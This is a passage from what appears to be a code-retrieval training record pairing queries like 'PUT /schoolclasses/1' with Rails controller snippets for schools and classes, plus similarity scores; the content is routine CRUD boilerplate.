:password_confirmation,:first_name,:last_name,:email,:role,:group,:phone,:_destroy])\n # params.require(:school_class).permit(:name, :start_date, :end_date,theory_days_attributes:[:start_date,:start_time,:end_time,:repeat_weekly,:_destroy])\n #params.require(:school_class).permit(:name, :start_date, :end_date)\n end", "def create\n @citizenship_class = @grantee.citizenship_classes.new(params[:citizenship_class])\n\n respond_to do |format|\n if @citizenship_class.save\n format.html { redirect_to [@grantee, @citizenship_class], notice: 'Citizenship class was successfully created.' }\n format.json { render json: @citizenship_class, status: :created, location: @citizenship_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @citizenship_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school_module = SchoolModule.new(school_module_params)\n\n respond_to do |format|\n if @school_module.save\n format.html { redirect_to @school_module, notice: 'School module was successfully created.' }\n format.json { render :show, status: :created, location: @school_module }\n else\n format.html { render :new }\n format.json { render json: @school_module.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n\n #-CONNECT THE SCHOOL AND THE STUDENT IF @school IS PRESENT\n @student.schools << @school if @school\n\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student creation successful.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to my_schools_path }\n format.json { head :no_content }\n end\n end", "def create\n @undergraduate_major = UndergraduateMajor.new(params[:undergraduate_major])\n\n respond_to do |format|\n if @undergraduate_major.save\n format.html { redirect_to @undergraduate_major, notice: 'Undergraduate major was successfully created.' }\n format.json { render json: @undergraduate_major, status: :created, location: @undergraduate_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @undergraduate_major.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @class_sheet = ClassSheet.new(class_sheet_params)\n\n respond_to do |format|\n if @class_sheet.save\n format.html { redirect_to @class_sheet, notice: 'Class sheet was successfully created.' }\n format.json { render :show, status: :created, location: @class_sheet }\n else\n format.html { render :new }\n format.json { render json: @class_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @student_major = StudentMajor.new(student_major_params)\n\n respond_to do |format|\n if @student_major.save\n format.html { redirect_to @student_major, notice: 'Student major was successfully created.' }\n format.json { render json: @student_major, status: :created, location: @student_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_major.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n @tournament = Tournament.find(school_params[:tournament_id])\n respond_to do |format|\n if @school.save\n format.html { redirect_to @tournament, notice: 'School was successfully created.' }\n format.json { render action: 'show', status: :created, location: @school }\n else\n format.html { render action: 'new' }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def education_class_params\n params.require(:education_class).permit(:class_name, :class_type, :class_keywords, :class_date_start, :class_date_end, :class_time_start, :class_time_end, :class_worth, :reps_id, :class_category, :class_url)\n end", "def create\n @student = Student.new(params[:student])\n @student.idSchool = current_user.teacher.idSchool \n\n respond_to do |format|\n if @student.save\n StdTeacher.create(idStd: @student.id, idTeacher: current_user.teacher.id, idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_classes(branch_ids=@my_ys, sched_type_ids = 'Group Exercise Schedule')\n post(URI(BASE_URL + 'getclasses'),\n {sched_type_ids: sched_type_ids,\n branch_ids: branch_ids.join(',')})\n end" ]
[ "0.7602586", "0.73850614", "0.68936133", "0.6857708", "0.6785983", "0.6615852", "0.6565927", "0.65261465", "0.65056866", "0.6500984", "0.64996314", "0.6489415", "0.6489415", "0.6479692", "0.64769685", "0.6449867", "0.6448041", "0.6443338", "0.6423649", "0.640711", "0.63762796", "0.6361311", "0.6335776", "0.6313983", "0.63000137", "0.63000137", "0.63000137", "0.6299566", "0.6288123", "0.6288123", "0.62812406", "0.6272556", "0.62631375", "0.62587315", "0.62568563", "0.6247039", "0.6232276", "0.621393", "0.6209003", "0.6208724", "0.6199403", "0.6194319", "0.6170119", "0.61687046", "0.61544275", "0.6101571", "0.60935825", "0.60827863", "0.60827863", "0.6082598", "0.6079461", "0.6079278", "0.6065728", "0.60582495", "0.60520566", "0.6048542", "0.6048043", "0.60425854", "0.60409963", "0.60409963", "0.60309976", "0.60281736", "0.60214496", "0.6005102", "0.59898216", "0.5974241", "0.59736043", "0.59566", "0.59565485", "0.5946137", "0.59452903", "0.59452903", "0.5938947", "0.5937732", "0.59271014", "0.5916991", "0.5910076", "0.5896723", "0.5894687", "0.5891794", "0.5887974", "0.5884658", "0.58795846", "0.5870537", "0.5866972", "0.5860108", "0.5859196", "0.58527875", "0.58468616", "0.58421063", "0.583007", "0.58293647", "0.58280396", "0.5821707", "0.58065337", "0.5803873", "0.5800243", "0.57973206", "0.5794832", "0.57894486" ]
0.75350237
1
PUT /schoolclasses/1 PUT /schoolclasses/1.json
def update @schoolclass = Schoolclass.find(params[:id]) respond_to do |format| if @schoolclass.update_attributes(params[:schoolclass]) format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @schoolclass.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n if @school_class.update_attributes(params[:school_class])\n format.html { redirect_to school_classes_url, notice: 'Class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school_class.update(school_class_params)\n format.html { redirect_to school_classes_path, notice: 'School class was successfully updated.' }\n format.json { render :show, status: :ok, location: @school_class }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school_class.update(school_class_params)\n format.html { redirect_to my_schools_path, notice: 'School class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_school_class\n @school_class = SchoolClass.find(params[:id])\n end", "def set_school_class\n @school_class = SchoolClass.find(params[:id])\n end", "def create\n @schoolclass = Schoolclass.new(params[:schoolclass])\n\n respond_to do |format|\n if @schoolclass.save\n format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully created.' }\n format.json { render json: @schoolclass, status: :created, location: @schoolclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schoolclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school_class = SchoolClass.new(school_class_params)\n\n respond_to do |format|\n if @school_class.save\n format.html { redirect_to school_classes_path, notice: 'School class was successfully created.' }\n format.json { render :show, status: :created, location: @school_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @school.update(school_params)\n render :show, status: :ok, location: @school\n else\n render json: @school.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @student_class.update(student_class_params)\n format.html { redirect_to @student_class, notice: \"Student class was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student_class }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @classtable = Classtable.new(params[:classtable])\n\t#@classtable.school_id = current_school_id\n\t@classtable.school_id = $current_school_id\n respond_to do |format|\n if @classtable.save\n format.html { redirect_to @classtable, notice: 'Classtable was successfully created.' }\n format.json { render json: @classtable, status: :created, location: @classtable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @school = School.find(params[:id])\n\n respond_to do |format|\n if @school.update_attributes(params[:school])\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @school = School.find(params[:id])\n\n respond_to do |format|\n if @school.update_attributes(params[:school])\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @classs.update(classs_params)\n format.html { redirect_to @classs, notice: 'Classs was successfully updated.' }\n format.json { render :show, status: :ok, location: @classs }\n else\n format.html { render :edit }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @school_class = SchoolClass.find(params[:id])\n @school_class.destroy\n\n respond_to do |format|\n format.html { redirect_to school_classes_url }\n format.json { head :no_content }\n end\n end", "def update\n @school_class = SchoolClass.find_by_id(params[:id])\n \n params[:school_class][:opening_at].gsub!(\"/\",\".\")\n params[:school_class][:closing_at].gsub!(\"/\",\".\")\n \n respond_to do |format|\n if @school_class.update_attributes(params[:school_class])\n format.html { redirect_to school_class_path(:id => @school_class.identifier), :notice => 'Turma atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @school_class.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @classroom = classroom.find(params[:id])\n\n if @classroom.update_attributes(params[:classroom])\n head :no_content\n else\n render json: @classroom.errors, status: :unprocessable_entity\n end\n end", "def destroy\n @schoolclass = Schoolclass.find(params[:id])\n @schoolclass.destroy\n\n respond_to do |format|\n format.html { redirect_to schoolclasses_url }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School update successful.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n s_id = Allotment.where(user_id: current_user.id).pluck(:school_id).first\n standard_id = Standard.where(name: params[:class_mapping][:standard]).pluck(:id).first\n section_id = Section.where(name: params[:class_mapping][:section]).pluck(:id).first\n @classes = ClassMapping.new({:section_id => section_id, :standard_id => standard_id, :school_id => s_id})\n @saved_class = { id:@classes.id, standard: params[:class_mapping][:standard], section: params[:class_mapping][:section], school: s_id}\n if @classes.save\n render :json => @saved_class\n end\n end", "def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'La sede ha sido actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @high_school.update(high_school_params)\n format.html { redirect_to @high_school, notice: 'High school was successfully updated.' }\n format.json { render :show, status: :ok, location: @high_school }\n else\n format.html { render :edit }\n format.json { render json: @high_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @high_school.update(high_school_params)\n format.html { redirect_to @high_school, notice: 'High school was successfully updated.' }\n format.json { render :show, status: :ok, location: @high_school }\n else\n format.html { render :edit }\n format.json { render json: @high_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def school_class_params\n params.require(:school_class).permit(:teacher_id, :number, :unit_id)\n end", "def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to city_school_path(@city), notice: \"School was successfully updated.\" }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @schoolb.update(schoolb_params)\n render :show, status: :ok, location: @schoolb\n else\n render json: @schoolb.errors, status: :unprocessable_entity\n end\n end", "def school_class_params\n params.require(:school_class).permit(:title, :room_number)\n end", "def update\n\n respond_to do |format|\n if @school.update_attributes(params[:school])\n flash[:notice] = 'School was successfully updated.'\n format.html { redirect_to(@school) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @school.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_classroom.update(admin_classroom_params)\n format.html { redirect_to admin_school_classroom_path(@admin_school,@admin_classroom), notice: \"Classroom was successfully updated.\" }\n format.json { render :show, status: :ok, location: @admin_classroom }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @admin_classroom.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @classtable = Classtable.find(params[:id])\n\n respond_to do |format|\n if @classtable.update_attributes(params[:classtable])\n format.html { redirect_to @classtable, notice: 'Classtable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @classessection.update(classessection_params)\n format.html { redirect_to @classessection, notice: 'Classessection was successfully updated.' }\n format.json { render :show, status: :ok, location: @classessection }\n else\n format.html { render :edit }\n format.json { render json: @classessection.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n name = params[:school_class][:name]\n level = params[:school_class][:level]\n school_id = current_user.user_info.school_id\n\n @school_class = SchoolClass.new(:name => name, :level => level, :school_id => school_id)\n\n respond_to do |format|\n if @school_class.save \n if params[:save_add_another]\n format.html {redirect_to new_school_class_url, notice: 'Class was successfully created.' }\n else\n format.html {redirect_to school_classes_url, notice: 'Class was successfully created.'}\n end\n #format.html { redirect_to @school_class, notice: 'Class was successfully created.' }\n #format.json { render json: @school_class, status: :created, location: @school_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @s_class.update(s_class_params)\n format.html { redirect_to @s_class, notice: 'S class was successfully updated.' }\n format.json { render :show, status: :ok, location: @s_class }\n else\n format.html { render :edit }\n format.json { render json: @s_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @code_club_school.update(code_club_school_params)\n format.html { redirect_to @code_club_school, notice: 'Code club school was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @code_club_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def school_class_params\n params.require(:school_class).permit(:title, :room_number)\n end", "def update\n respond_to do |format|\n if @classcourse.update(classcourse_params)\n format.html { redirect_to @classcourse, notice: 'Classcourse was successfully updated.' }\n format.json { render :show, status: :ok, location: @classcourse }\n else\n format.html { render :edit }\n format.json { render json: @classcourse.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @class_student.update(class_student_params)\n format.html { redirect_to @class_student, notice: 'Class student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cms_school.update(cms_school_params)\n format.html { redirect_to @cms_school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_school }\n else\n format.html { render :edit }\n format.json { render json: @cms_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def classs_params\n params.require(:classs).permit(:name, :major_id)\n end", "def school_class_params(*args)\n params.require(:school_class).permit(*args)\n end", "def update\n if @school.update(school_params)\n redirect_to super_path\n else\n redirect_to schools_path\n end\n end", "def show\n @schoolclass = Schoolclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schoolclass }\n end\n end", "def update\n respond_to do |format|\n if @school_type.update(school_type_params)\n format.html { redirect_to @school_type, notice: 'School type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @school_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @class = Classe.find(params[:id])\n\n respond_to do |format|\n if @class.update_attributes(params[:class])\n format.html { redirect_to @class, notice: 'Classe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @education_class.update(education_class_params)\n format.html { redirect_to @education_class, notice: 'Education class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @education_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @classes = SchoolClass.all\n @class = SchoolClass.new(class_params)\n add_breadcrumb \"School Classes\", classes_url\n add_breadcrumb \"New Class\"\n # respond_to do |format|\n if @class.save\n respond_to do |format|\n format.html { redirect_to classes_url }\n flash[:notice] = \"Class was successfully created.\"\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # format.html { redirect_to classes_url, notice: 'School Class was successfully created.' }\n # format.json { render :show, status: :created, location: @class }\n else\n respond_to do |format|\n format.html { render :new }\n flash[:alert] = @class.errors.full_messages.to_sentence\n # format.json { render json: @class.errors, status: :unprocessable_entity }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # end\n end\n end", "def school_class_params(*args)\n params.require(:school_class).permit(*args)\n end", "def update\n @school = School.find(params[:id])\n @school.gmaps = 1\n\n respond_to do |format|\n if @school.update_attributes(params[:school])\n format.html { redirect_to(@school, :notice => 'School was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @school.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_class_section\n @class_section = ClassSection.where('school_id = ?', current_user.school_id).find(params[:id])\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to my_schools_path }\n format.json { head :no_content }\n end\n end", "def update\n add_breadcrumb \"Classes\", classes_url\n add_breadcrumb \"Edit\"\n respond_to do |format|\n if @class.update(class_params)\n format.html { redirect_to classes_url, notice: 'Class was successfully updated.' }\n format.json { render :show, status: :ok, location: @class }\n else\n format.html { render :edit }\n flash[:alert] = @class.errors.full_messages.to_sentence\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @siseasclass.update(siseasclass_params)\n format.html { redirect_to @siseasclass, notice: 'Siseasclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @siseasclass }\n else\n format.html { render :edit }\n format.json { render json: @siseasclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_class }\n end\n end", "def update\n @clclass = Clclass.find(params[:id])\n\n respond_to do |format|\n if @clclass.update_attributes(params[:clclass])\n format.html { redirect_to @clclass, notice: 'Clclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @school = School.find(params[:id])\n params[:school][:creator] = \"sys_creator\"\n params[:school][:modifier] = \"sys_modifier\"\n respond_to do |format|\n if @school.update_attributes(params[:school])\n format.html { redirect_to cms_school_path(@school), notice: 'School was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @class_room = ClassRoom.find(params[:id])\n\n respond_to do |format|\n if @class_room.update_attributes(params[:class_room])\n format.html { redirect_to @class_room, notice: 'Academic class was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @school_setup = SchoolSetup.find(params[:id])\n\n respond_to do |format|\n if @school_setup.update_attributes(params[:school_setup])\n format.html { redirect_to @school_setup, notice: 'School setup was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school_setup.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tournament = @school.tournament\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @tournament, notice: 'School was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_class\n # begin\n @class = SchoolClass.find_by_class_name(params[:class_name])\n # rescue ActiveRecord::RecordNotFound\n # redirect_to classes_url, :flash => { :error => \"Record not found.\" }\n # end\n end", "def update\r\n respond_to do |format|\r\n if @school.update(school_params)\r\n format.html { redirect_to @school, notice: 'Skolan har uppdaterats!' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @school.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n\n @enrollment = Enrollment.shard_for( params[:enrollment][:classroom_id] ).find(params[:id])\n\n respond_to do |format|\n if @enrollment.update_attributes(params[:enrollment])\n format.html { redirect_to @enrollment, notice: 'Enrollment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enrollment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.find(params[:id])\n\n respond_to do |format|\n if @inschool.update_attributes(params[:inschool])\n format.html { redirect_to :back, notice: 'Inschool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @classroom = @course.classrooms.find(params[:id])\n\n respond_to do |format|\n if @classroom.update_attributes(params[:classroom])\n flash[:notice] = 'Turma atualizada.'\n format.html { redirect_to([@course, @classroom]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @classroom.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @registration_klass.update(registration_klass_params)\n format.html { redirect_to [@school, @registration_klass], notice: 'Class was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration_klass }\n format.js { }\n else\n format.html { render :edit }\n format.json { render json: @registration_klass.errors, status: :unprocessable_entity }\n format.js { render layout: false, content_type: 'text/javascript' }\n end\n end\n end", "def update\n respond_to do |format|\n if @classwork.update(classwork_params)\n format.html { redirect_to @classwork, notice: 'Classwork was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def s_class_params\n params.require(:s_class).permit(:class_name, :teacher_id, :year, :grade_id)\n end", "def update\n respond_to do |format|\n if @class_sheet.update(class_sheet_params)\n format.html { redirect_to @class_sheet, notice: 'Class sheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_sheet }\n else\n format.html { render :edit }\n format.json { render json: @class_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @classroom.update(classroom_params)\n format.html { redirect_to classrooms_url, notice: t('.notice', name: @classroom.name) }\n format.json { render :show, status: :ok, location: @classroom }\n else\n format.html { render :edit }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @year_class.update(year_class_params)\n format.html { redirect_to @year_class, notice: 'Year class was successfully updated.' }\n format.json { render :show, status: :ok, location: @year_class }\n else\n format.html { render :edit }\n format.json { render json: @year_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school.update_attributes(params[:school])\n flash[:notice] = \"#{@school.name} was successfully updated.\"\n format.html { redirect_to @person }\n format.xml { head :ok }\n format.js { @school.reload and render :layout => false }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @school.errors, :status => :unprocessable_entity }\n format.js { render :action => :invalid, :layout => false }\n end\n end\n end", "def set_school\r\n @school = School.find(params[:id])\r\n end", "def update\n respond_to do |format|\n params[:school][:school_type] = params[:school][:school_type].strip.downcase.gsub(\" \",\"_\")\n @school_types = ((SCHOOL_DEFAULTS + City.find(session[:current_city_id]).utility.schools.map(&:school_type)).uniq.sort!).join(\",\").humanize.titleize\n if @admin_school.update(admin_school_params)\n format.html { redirect_to admin_schools_url(public: @admin_school.is_public), notice: 'Scuola è stato aggiornato con successo.' }\n format.json { render :show, status: :ok, location: @admin_school }\n else\n format.html { render :edit }\n format.json { render json: @admin_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @teacher_class.update(teacher_class_params)\n format.html { redirect_to @teacher_class, notice: 'Teacher class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @teacher_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @firstclass.update(firstclass_params)\n format.html { redirect_to @firstclass, notice: 'Firstclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @firstclass }\n else\n format.html { render :edit }\n format.json { render json: @firstclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @classroom = Classroom.find(params[:id])\n\n respond_to do |format|\n if @classroom.update_attributes(params[:classroom])\n format.html { redirect_to @classroom, notice: 'Classroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @student_major = StudentMajor.find(params[:id])\n\n respond_to do |format|\n if @student_major.update_attributes(student_major_params)\n format.html { redirect_to @student_major, notice: 'Student major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_major.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n if @test_class.update_attributes(params[:test_class])\n format.html { redirect_to @test_class, notice: 'Test class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @clasification.update(clasification_params)\n format.html { redirect_to @clasification, notice: \"Clasification was successfully updated.\" }\n format.json { render :show, status: :ok, location: @clasification }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_school\n @school = School.find(params[:id])\n end", "def set_student_class\n @student_class = StudentClass.find(params[:id])\n end" ]
[ "0.75379795", "0.74619305", "0.7293535", "0.70673627", "0.70673627", "0.6641032", "0.65808344", "0.6577612", "0.65368724", "0.6466882", "0.64667374", "0.64667374", "0.6442209", "0.6427981", "0.6409784", "0.6402281", "0.6373682", "0.6371725", "0.6371725", "0.6371725", "0.6371725", "0.63506097", "0.6326108", "0.6299892", "0.62763083", "0.62763083", "0.62514794", "0.62454134", "0.6238725", "0.6234326", "0.62268704", "0.6221228", "0.6191246", "0.6189643", "0.61795706", "0.6173012", "0.61572343", "0.6154673", "0.6136144", "0.61320484", "0.6129507", "0.6119435", "0.6110756", "0.6110568", "0.6104426", "0.61032975", "0.6102185", "0.60945195", "0.60856116", "0.60816157", "0.60745186", "0.6074389", "0.6070705", "0.6070705", "0.6067082", "0.60588175", "0.6043608", "0.6042891", "0.60349536", "0.60254276", "0.6023193", "0.6022038", "0.60186774", "0.60179925", "0.60153437", "0.6000954", "0.5998626", "0.5977114", "0.59769803", "0.59763956", "0.5971221", "0.5970621", "0.5969093", "0.5968596", "0.5963433", "0.59566224", "0.5953216", "0.5945628", "0.59417987", "0.5940697", "0.5935163", "0.5926259", "0.5923904", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59178996", "0.59124124" ]
0.75529194
0
DELETE /schoolclasses/1 DELETE /schoolclasses/1.json
